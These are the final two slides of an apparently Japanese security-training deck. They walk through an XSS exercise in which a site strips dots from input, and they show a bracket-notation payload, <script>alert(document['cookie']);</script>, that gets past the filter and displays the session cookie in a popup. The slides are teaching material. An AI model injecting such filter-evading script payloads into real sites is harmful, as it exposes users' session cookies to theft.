  83. 83. 83 /84  情報収集:Reconnaissance ソースを見ると、入力されたテキストから「.」を除去して表示している。 「.」ドット演算子を使わずに、ブラケット演算子「[」、「]」でcookie変数を参照する。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 <script>alert(document['cookie']);</script> ・入力 <script>alert(document.cookie)</script> ・ソース
  84. 84. 84 /84 前スライドの攻撃スクリプトを入力すると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie

×